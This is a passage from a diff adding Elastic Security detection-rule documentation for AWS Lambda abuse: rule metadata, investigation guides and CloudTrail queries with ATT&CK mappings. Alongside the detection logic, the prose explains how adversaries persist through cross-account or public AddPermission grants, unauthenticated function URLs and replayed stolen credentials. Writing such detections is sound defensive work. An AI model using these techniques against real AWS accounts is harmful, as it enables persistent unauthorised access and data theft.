and account-level guardrails to bound cost and blast radius. + + +*Additional information* + + +- https://docs.aws.amazon.com/lambda/latest/dg/logging-using-cloudtrail.html[Logging Lambda data events with CloudTrail] +- https://docs.aws.amazon.com/lambda/latest/dg/lambda-concurrency.html[Lambda function scaling and concurrency] + + +==== Setup + + + +*Setup* + + +This rule requires AWS Lambda data events to be logged in CloudTrail and ingested via the AWS integration. Lambda +invocation (`Invoke`) is a data-plane event and is NOT logged by default; enable data event logging for Lambda functions +in the trail (optionally scoped to sensitive functions to manage volume). Tune the invocation-count threshold in the +query to the environment before enabling. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-aws.cloudtrail-* + +// Lambda invocation data events (data-plane; requires data event logging enabled) +| where + event.provider == "lambda.amazonaws.com" + and event.action like "Invoke*" + and event.outcome == "success" + and aws.cloudtrail.user_identity.arn IS NOT NULL + +| stats + Esql.invocation_count = count(*), + Esql.source_ips = values(source.ip) + by + aws.cloudtrail.user_identity.arn + +// Threshold is environment-dependent — tune to the deployment +| where Esql.invocation_count >= 1000 + +| keep + aws.cloudtrail.user_identity.arn, + Esql.invocation_count, + Esql.source_ips + +| sort Esql.invocation_count desc + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Resource Hijacking +** ID: T1496 +** Reference URL: https://attack.mitre.org/techniques/T1496/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-lambda-function-invoked-by-an-unusual-principal.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-lambda-function-invoked-by-an-unusual-principal.asciidoc new file mode 100644 index 0000000000..c0d7eee1a7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-lambda-function-invoked-by-an-unusual-principal.asciidoc @@ -0,0 +1,130 @@ +[[prebuilt-rule-8-19-34-aws-lambda-function-invoked-by-an-unusual-principal]] +=== AWS Lambda Function Invoked by an Unusual Principal + +Identifies the first time within the prior 14 days that a principal directly invokes an AWS Lambda function in an account, excluding invocations made on behalf of AWS services (normal event-source triggers). Adversaries who compromise credentials or move laterally may directly invoke functions to execute code, retrieve data returned by a function, or abuse an over-permissioned execution role. Direct, ad hoc invocation by a principal that does not normally call Lambda deviates from the usual event-driven invocation pattern and is worth reviewing. This rule relies on AWS Lambda data event logging, which is not enabled by default. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/lambda/latest/api/API_Invoke.html +* https://docs.aws.amazon.com/lambda/latest/dg/logging-using-cloudtrail.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS Lambda +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: New Terms +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS Lambda + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Lambda Function Invoked by an Unusual Principal* + + +Most Lambda invocations are driven by event sources (S3, EventBridge, SQS, API Gateway, etc.), which CloudTrail records with `aws.cloudtrail.user_identity.invoked_by` set to the calling service. A principal invoking a function **directly** (via the SDK, CLI, or console) is comparatively rare and, when it comes from an identity that does not normally do so, can indicate lateral movement, credential abuse, or data retrieval from a function. This rule uses a new terms approach to surface the first time a given principal directly invokes a function in an account within the prior 14 days. + + +*Possible investigation steps* + + +- Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, and `aws.cloudtrail.user_identity.access_key_id` to identify the actor, and `source.ip` / `user_agent.original` to determine how the call was made. +- Inspect `aws.cloudtrail.request_parameters` for the `functionName` and map it to its application, owner, and sensitivity. +- Determine whether the principal is expected to invoke functions directly and whether the activity aligns with an approved operation, test, or deployment. +- Correlate with recent activity by the same principal or access key, such as credential issuance, role assumption, or other data-plane access, and check whether the credential was recently seen from an unusual source. + + +*False positive analysis* + + +- Direct invocation is a normal operational and testing activity. Confirm whether the principal is a known operator or automation identity and exclude it on `aws.cloudtrail.user_identity.arn` after validation. + + +*Response and remediation* + + +- If the invocation is unauthorized, review what the function returns and accesses, and assess data exposure. +- Rotate or restrict credentials for the principal if compromise is suspected, and constrain `lambda:InvokeFunction` to the identities and services that require it. + + +*Additional information* + + +- https://docs.aws.amazon.com/lambda/latest/api/API_Invoke.html[Invoke API] +- https://docs.aws.amazon.com/lambda/latest/dg/logging-using-cloudtrail.html[Logging Lambda data events with CloudTrail] + + +==== Setup + + + +*Setup* + + +This rule requires AWS Lambda data events to be logged in CloudTrail and ingested via the AWS integration +(`aws.cloudtrail` data stream). Lambda invocation (`Invoke`) is a data-plane event and is NOT logged by default; enable +data event logging for Lambda functions in the trail (optionally scoped to sensitive functions to manage volume). + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "lambda.amazonaws.com" + and event.action: Invoke* + and event.outcome: "success" + and not aws.cloudtrail.user_identity.invoked_by: * + and aws.cloudtrail.user_identity.arn: * + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Serverless Execution +** ID: T1648 +** Reference URL: https://attack.mitre.org/techniques/T1648/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-lambda-function-invoked-cross-account.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-lambda-function-invoked-cross-account.asciidoc new file mode 100644 index 0000000000..087568859c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-lambda-function-invoked-cross-account.asciidoc @@ -0,0 +1,153 @@ +[[prebuilt-rule-8-19-34-aws-lambda-function-invoked-cross-account]] +=== AWS Lambda Function Invoked Cross-Account + +Identifies an AWS Lambda function invoked by a principal whose AWS account differs from the account that owns the function (a cross-account invocation). The caller's account is parsed from the invoking principal's ARN and compared to the function account. Adversaries who have been granted invoke permission on a function from an external account, or who operate from a separate attacker-controlled account, can use cross-account invocation to execute functions or retrieve the data they return. This is the data-plane counterpart to detecting the cross-account grant itself, and relies on AWS Lambda data event logging, which is not enabled by default. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 60m + +*Searches indices from*: now-61m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/lambda/latest/dg/access-control-resource-based.html +* https://docs.aws.amazon.com/lambda/latest/dg/logging-using-cloudtrail.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS Lambda +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Rule Type: ES|QL +* Platform: AWS +* Service: AWS Lambda + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Lambda Function Invoked Cross-Account* + + +A Lambda function invoked by a principal from a different AWS account indicates cross-account invocation - the data-plane realization of a cross-account resource-policy grant. CloudTrail data events record the invoking principal's ARN (which contains the caller's account) and the function's owning account. When these differ, an external account executed the function. This can be a legitimate multi-account integration or an adversary using granted or attacker-controlled cross-account access. + + +*Possible investigation steps* + + +- Review `Esql.caller_account` (the invoking principal's account) versus `Esql.function_account` (the invoked function's owning account) and confirm whether the caller account is a known, trusted account. +- Identify the principal in `aws.cloudtrail.user_identity.arn` and pivot to the raw CloudTrail events (for the same principal/time window) to identify the invoked function(s) in `aws.cloudtrail.request_parameters`. +- Determine whether a corresponding `AddPermission` cross-account grant exists for the function and whether it was expected (correlate with the cross-account resource-policy rule). +- Review `Esql.source_ips` and recent activity from the caller account for other cross-account actions. + + +*False positive analysis* + + +- Cross-account invocation is common in multi-account architectures and partner integrations. Confirm the caller account is approved and exclude known trusted accounts or identities after validation. + + +*Response and remediation* + + +- If the cross-account access is unauthorized, remove the function's cross-account resource-policy statement (`RemovePermission`) and review what the function accessed or returned. +- Constrain `lambda:InvokeFunction` grants to approved accounts and review the function's execution-role permissions. + + +*Additional information* + + +- https://docs.aws.amazon.com/lambda/latest/dg/access-control-resource-based.html[Lambda resource-based policies] +- https://docs.aws.amazon.com/lambda/latest/dg/logging-using-cloudtrail.html[Logging Lambda data events with CloudTrail] + + +==== Setup + + + +*Setup* + + +This rule requires AWS Lambda data events to be logged in CloudTrail and ingested via the AWS integration. Lambda +invocation (`Invoke`) is a data-plane event and is NOT logged by default; enable data event logging for Lambda functions +in the trail (optionally scoped to sensitive functions to manage volume). + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-aws.cloudtrail-* + +| where + event.provider == "lambda.amazonaws.com" + and event.action like "Invoke*" + and event.outcome == "success" + and aws.cloudtrail.user_identity.arn IS NOT NULL + and aws.cloudtrail.user_identity.invoked_by IS NULL + and aws.cloudtrail.request_parameters IS NOT NULL + +| grok aws.cloudtrail.user_identity.arn """:(?[0-9]{12}):""" +| grok aws.cloudtrail.request_parameters """functionName=arn:aws:lambda:[a-z0-9-]*:(?[0-9]{12}):""" + +| where Esql.caller_account IS NOT NULL and Esql.function_account IS NOT NULL and Esql.caller_account != Esql.function_account + +| stats + Esql.invocation_count = count(*), + Esql.source_ips = values(source.ip), + Esql.function_arns = values(aws.cloudtrail.resources.arn) + by + aws.cloudtrail.user_identity.arn, + Esql.caller_account, + Esql.function_account + +| keep + aws.cloudtrail.user_identity.arn, + Esql.caller_account, + Esql.function_account, + Esql.function_arns, + Esql.invocation_count, + Esql.source_ips + + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Serverless Execution +** ID: T1648 +** Reference URL: https://attack.mitre.org/techniques/T1648/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-lambda-function-invoked-from-an-unusual-source-asn.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-lambda-function-invoked-from-an-unusual-source-asn.asciidoc new file mode 100644 index 0000000000..2521a7710a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-lambda-function-invoked-from-an-unusual-source-asn.asciidoc @@ -0,0 +1,132 @@ +[[prebuilt-rule-8-19-34-aws-lambda-function-invoked-from-an-unusual-source-asn]] +=== AWS Lambda Function Invoked from an Unusual Source ASN + +Identifies an AWS Lambda function invoked directly by a principal from a source network (ASN) not seen for that principal in the prior 10 days, excluding common cloud provider networks. Direct invocation from an unfamiliar external network can indicate use of stolen execution-role or user credentials from attacker-controlled infrastructure to execute functions or retrieve the data they return. This rule relies on AWS Lambda data event logging, which is not enabled by default. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/lambda/latest/api/API_Invoke.html +* https://docs.aws.amazon.com/lambda/latest/dg/logging-using-cloudtrail.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS Lambda +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: New Terms +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS Lambda + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Lambda Function Invoked from an Unusual Source ASN* + + +Lambda execution-role credentials and user credentials are frequently abused after theft (for example via SSRF or RCE against a function, or leaked access keys). When such credentials are replayed from attacker infrastructure, the resulting direct `Invoke` calls originate from a network the legitimate principal has not used. This rule uses a new terms approach over the source ASN organization and the principal, excluding common cloud provider networks, to surface invocation from unfamiliar external networks. + + +*Possible investigation steps* + + +- Review `source.ip`, `source.as.organization.name`, and `source.geo` for the invoking network and determine whether it is expected for the principal in `aws.cloudtrail.user_identity.arn`. +- Inspect `aws.cloudtrail.request_parameters` for the `functionName` and `user_agent.original` for the client used. +- Determine whether the credential (`aws.cloudtrail.user_identity.access_key_id`) was recently seen used elsewhere or outside the Lambda runtime, which would corroborate credential theft. +- Correlate with other activity by the same principal from the same network, including data-plane access, IAM, or STS calls. + + +*False positive analysis* + + +- New legitimate networks (offices, VPNs, home IPs, new egress) will generate this alert. Confirm the principal and network are expected and exclude known operator networks or identities after validation. +- If source ASN is legitimate and expected, add as an exclusion to reduce false-positives. + + +*Response and remediation* + + +- If credential abuse is confirmed, rotate or revoke the affected credentials and execution-role permissions, and review what the invoked function accessed or returned. +- Constrain `lambda:InvokeFunction` to expected identities and, where possible, restrict invocation to known networks using IAM conditions. + + +*Additional information* + + +- https://docs.aws.amazon.com/lambda/latest/api/API_Invoke.html[Invoke API] +- https://docs.aws.amazon.com/lambda/latest/dg/logging-using-cloudtrail.html[Logging Lambda data events with CloudTrail] + + +==== Setup + + + +*Setup* + + +This rule requires AWS Lambda data events to be logged in CloudTrail and ingested via the AWS integration +(`aws.cloudtrail` data stream). Lambda invocation (`Invoke`) is a data-plane event and is NOT logged by default; enable +data event logging for Lambda functions in the trail (optionally scoped to sensitive functions to manage volume). Source +ASN enrichment (`source.as.organization.name`) must be available on the ingested events. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "lambda.amazonaws.com" + and event.action: Invoke* + and event.outcome: "success" + and not aws.cloudtrail.user_identity.invoked_by: * + and source.as.organization.name:(* and not (Amazon* or AMAZON* or Google* or GOOGLE* or Microsoft* or MICROSOFT*)) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Serverless Execution +** ID: T1648 +** Reference URL: https://attack.mitre.org/techniques/T1648/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-lambda-function-policy-updated-to-allow-cross-account-invocation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-lambda-function-policy-updated-to-allow-cross-account-invocation.asciidoc new file mode 100644 index 0000000000..4f3b0b7d0f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-lambda-function-policy-updated-to-allow-cross-account-invocation.asciidoc @@ -0,0 +1,136 @@ +[[prebuilt-rule-8-19-34-aws-lambda-function-policy-updated-to-allow-cross-account-invocation]] +=== AWS Lambda Function Policy Updated to Allow Cross-Account Invocation + +Identifies a change to an AWS Lambda function resource policy that grants invoke permissions to an AWS account principal. Using AddPermission, an adversary can authorize a principal in another account to call a function, creating a cross-account backdoor for execution or for relaying data to attacker-controlled infrastructure without modifying the function's code. This rule excludes public grants (principal set to "*"), which are covered by a separate rule, and grants to AWS service principals, which are common for legitimate event triggers. + +*Rule type*: eql + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/lambda/latest/dg/access-control-resource-based.html +* https://docs.aws.amazon.com/lambda/latest/api/API_AddPermission.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS Lambda +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS Lambda + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Lambda Function Policy Updated to Allow Cross-Account Invocation* + + +AWS Lambda resource policies control which principals may invoke a function. `AddPermission` granting `lambda:InvokeFunction` to a principal in another AWS account creates a cross-account invocation path. Adversaries use this to maintain execution access or to relay function output to infrastructure they control, without changing the function code that defenders typically scrutinize. + +This rule detects grants of invoke permission to a specific external account, excluding public grants (handled by the related public-invocation rule) and AWS service principals used for normal event triggers. + + +*Possible investigation steps* + + +- Inspect `aws.cloudtrail.request_parameters` for the `functionName`, the `action` granted, and the `principal` account id receiving access; confirm whether that account is known and trusted. +- Identify the actor in `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.type`, and review `source.ip` and `user_agent.original` to understand how the change was made. +- Determine whether the function processes or has access to sensitive data that the external account could now reach. +- Correlate with other activity by the same principal, including function code or configuration changes and additional policy modifications. +- Verify whether the cross-account grant aligns with an approved integration or change request. + + +*False positive analysis* + + +- Multi-account architectures and partner integrations legitimately grant cross-account invoke permissions. Confirm the grant is approved and exclude known trusted account ids or service roles on `aws.cloudtrail.user_identity.arn` after validation. + + +*Response and remediation* + + +- If the grant is unauthorized, remove the statement from the function's resource policy (`RemovePermission`) and review the function's code, configuration, and execution role. +- Determine whether the external account invoked the function while the grant was in place and assess data exposure. +- Rotate or restrict credentials for the principal if compromise is suspected, and constrain `lambda:AddPermission` to a small set of trusted roles. + + +*Additional information* + + +- https://docs.aws.amazon.com/lambda/latest/dg/access-control-resource-based.html[Lambda resource-based policies] +- https://docs.aws.amazon.com/lambda/latest/api/API_AddPermission.html[AddPermission API] + + +==== Rule query + + +[source, js] +---------------------------------- +any where data_stream.dataset == "aws.cloudtrail" + and event.provider == "lambda.amazonaws.com" + and event.outcome == "success" + and event.action : "AddPermission*" + and stringContains(aws.cloudtrail.request_parameters, "lambda:InvokeFunction") + and not stringContains(aws.cloudtrail.request_parameters, "principal=\\*") + and not stringContains(aws.cloudtrail.request_parameters, ".amazonaws.com") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Cloud Compute Infrastructure +** ID: T1578 +** Reference URL: https://attack.mitre.org/techniques/T1578/ +* Sub-technique: +** Name: Modify Cloud Compute Configurations +** ID: T1578.005 +** Reference URL: https://attack.mitre.org/techniques/T1578/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-lambda-function-policy-updated-to-allow-public-invocation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-lambda-function-policy-updated-to-allow-public-invocation.asciidoc new file mode 100644 index 0000000000..ac8da661d1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-lambda-function-policy-updated-to-allow-public-invocation.asciidoc @@ -0,0 +1,158 @@ +[[prebuilt-rule-8-19-34-aws-lambda-function-policy-updated-to-allow-public-invocation]] +=== AWS Lambda Function Policy Updated to Allow Public Invocation + +Identifies when an AWS Lambda function policy is updated to allow public invocation. This rule detects use of the AddPermission API where the Principal is set to "*", enabling any AWS account to invoke the function. Adversaries may abuse this configuration to establish persistence, create a covert execution path, or operate a function as an unauthenticated backdoor. Public invocation is rarely required outside very specific workloads and should be considered high-risk when performed unexpectedly. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence +* https://stratus-red-team.cloud/attack-techniques/AWS/aws.persistence.lambda-backdoor-function/ +* https://docs.aws.amazon.com/lambda/latest/api/API_AddPermission.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS Lambda +* Tactic: Persistence +* Rule Type: Event Correlation (EQL) +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal + +*Version*: 11 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Lambda Function Policy Updated to Allow Public Invocation* + + +AWS Lambda policies control who can invoke a function. When the `Principal` is set to `*`, the function becomes publicly invokable by any AWS account. Adversaries may modify Lambda permissions to create a stealthy execution backdoor or to maintain persistence inside an AWS environment. This activity is uncommon in most production environments and should receive careful scrutiny when detected. + + +*Possible investigation steps* + + +**Identify the actor** +- Identify the actor who made the change by reviewing `aws.cloudtrail.user_identity.arn` and access key ID. Determine whether this principal typically administers Lambda functions. + +**Review request details** +- Review request details in `aws.cloudtrail.request_parameters` to understand the exact permission added: + - Confirm that the `Principal` is set to `"*"`. + - Note the `Action` (`lambda:InvokeFunction`) and any `SourceArn` restrictions (sometimes present, often missing in malicious cases). + +**Analyze source context** +- Check the source of the request using `source.ip`, geo information, and user agent. Unexpected networks, automation tools, or CLI usage may indicate credential compromise. + +**Correlate timing and related events** +- Evaluate timing and sequence by correlating `@timestamp` with other events. Look for surrounding actions such as: + - Creation or update of Lambda function code. + - Publishing new Lambda layers. + - Changes to roles attached to the function. + +**Assess function sensitivity and impact** +- Assess the function’s role and data sensitivity. Determine whether public invocation could: + - Enable unmonitored code execution, + - Trigger access to internal resources via the function’s IAM role, + - Be chained with persistence or privilege escalation behavior. + +**Validate operational intent** +- Validate the operational context. Confirm with the function owner whether the permission change was intentional, part of a deployment, or unexpected. + + +*False positive analysis* + + +- Public invocation may be intentional for certain workloads (e.g., webhook handlers, openly accessible compute functions). Compare the event with documentation, IaC templates, or the deployment pipeline. +- Some teams may regularly modify permissions during testing or refactoring; check whether this aligns with existing workflows. +- Evaluate whether the function already had permissive invocation policies and whether the update is part of expected configuration drift. + + +*Response and remediation* + + +- Remove unauthorized public invocation permissions immediately by reverting the Lambda function policy to the approved baseline. +- Investigate for follow-on activity: execution of the function, updates to code, modifications to IAM roles, or API calls issued using the function's role. +- Rotate or disable credentials associated with the identity that issued the `AddPermission` call if compromise is suspected. +- Enable or refine monitoring for Lambda policy updates, layer additions, and code changes to detect future unauthorized modifications. +- Conduct a security review of the Lambda function and any downstream resources it can access to ensure no misuse has occurred. +- Work with the application team to enforce least-privilege invocation policies and deploy guardrails (e.g., SCPs, IAM Conditions, or automated compliance checks) preventing public invocation unless explicitly authorized. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]** + + +==== Rule query + + +[source, js] +---------------------------------- +info where data_stream.dataset == "aws.cloudtrail" + and event.provider == "lambda.amazonaws.com" + and event.outcome == "success" + and event.action : "AddPermission*" + and stringContains(aws.cloudtrail.request_parameters, "lambda:InvokeFunction") + and stringContains(aws.cloudtrail.request_parameters, "principal=\\*") + and not user_agent.original like~ ("*Terraform*", "*Pulumi*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Cloud Compute Infrastructure +** ID: T1578 +** Reference URL: https://attack.mitre.org/techniques/T1578/ +* Sub-technique: +** Name: Modify Cloud Compute Configurations +** ID: T1578.005 +** Reference URL: https://attack.mitre.org/techniques/T1578/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-lambda-function-url-created-with-public-access.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-lambda-function-url-created-with-public-access.asciidoc new file mode 100644 index 0000000000..7a2b4d11cc --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-lambda-function-url-created-with-public-access.asciidoc @@ -0,0 +1,135 @@ +[[prebuilt-rule-8-19-34-aws-lambda-function-url-created-with-public-access]] +=== AWS Lambda Function URL Created with Public Access + +Identifies the creation or update of an AWS Lambda function URL configured with an authentication type of NONE, which exposes the function to unauthenticated invocation directly from the public internet. Adversaries can use a public function URL to establish a durable, internet-reachable entry point for command and control, data egress, or on-demand execution of attacker-controlled code, bypassing the need for valid AWS credentials to invoke the function. Function URLs with public access should be rare and deliberate, so this configuration warrants review. + +*Rule type*: eql + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/lambda/latest/dg/lambda-urls.html +* https://docs.aws.amazon.com/lambda/latest/dg/urls-auth.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS Lambda +* Tactic: Defense Evasion +* Tactic: Persistence +* Rule Type: Event Correlation (EQL) +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Lambda Function URL Created with Public Access* + + +A Lambda function URL is a dedicated HTTPS endpoint for a function. When configured with `authType=NONE`, anyone on the internet can invoke the function without AWS authentication. Adversaries use this to create a public, persistent entry point for command and control, data exfiltration, or running attacker-controlled code without needing AWS credentials. + +This rule detects successful `CreateFunctionUrlConfig` and `UpdateFunctionUrlConfig` calls where the auth type is set to NONE. + + +*Possible investigation steps* + + +- Identify the actor in `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.type`, and review `source.ip` and `user_agent.original` to determine how the change was made. +- Inspect `aws.cloudtrail.request_parameters` for the `functionName` and the auth type, and review `aws.cloudtrail.response_elements` for the resulting `functionUrl`. +- Determine whether the function is intended to be public and whether the owning team requested an unauthenticated endpoint. +- Review the function's code, execution role, and recent changes (`UpdateFunctionCode`, `UpdateFunctionConfiguration`, `AddPermission`) for signs of tampering. +- Correlate with other activity by the same principal, and check the function's invocation and access logs for traffic from unexpected sources after the URL was exposed. + + +*False positive analysis* + + +- Public webhooks, simple APIs, and front-end integrations sometimes use unauthenticated function URLs intentionally. Confirm the exposure is approved and exclude known public endpoints on `functionName` or `aws.cloudtrail.user_identity.arn` after validation. + + +*Response and remediation* + + +- If the exposure is unauthorized, change the function URL auth type to `AWS_IAM` or delete the function URL configuration, and review the function code and execution role for compromise. +- Examine invocation logs for unauthenticated requests received while the URL was public and assess potential impact. +- Rotate or restrict credentials for the principal if compromise is suspected, and constrain `lambda:CreateFunctionUrlConfig` and `lambda:UpdateFunctionUrlConfig` to trusted roles. + + +*Additional information* + + +- https://docs.aws.amazon.com/lambda/latest/dg/lambda-urls.html[Lambda function URLs] +- https://docs.aws.amazon.com/lambda/latest/dg/urls-auth.html[Security and auth model for Lambda function URLs] + + +==== Rule query + + +[source, js] +---------------------------------- +any where data_stream.dataset == "aws.cloudtrail" + and event.provider == "lambda.amazonaws.com" + and event.outcome == "success" + and not (user_agent.original : "*terraform*" or user_agent.original : "*pulumi*" or user_agent.original : "*ansible*") + and not (aws.cloudtrail.user_identity.arn : "*terraform*" or aws.cloudtrail.user_identity.arn : "*pulumi*" or aws.cloudtrail.user_identity.arn : "*ansible*") + and (event.action : "CreateFunctionUrlConfig*" or event.action : "UpdateFunctionUrlConfig*") + and stringContains(aws.cloudtrail.request_parameters, "authType=NONE") + and not user_agent.original like~ ("*Terraform*", "*Pulumi*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: External Remote Services +** ID: T1133 +** Reference URL: https://attack.mitre.org/techniques/T1133/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: 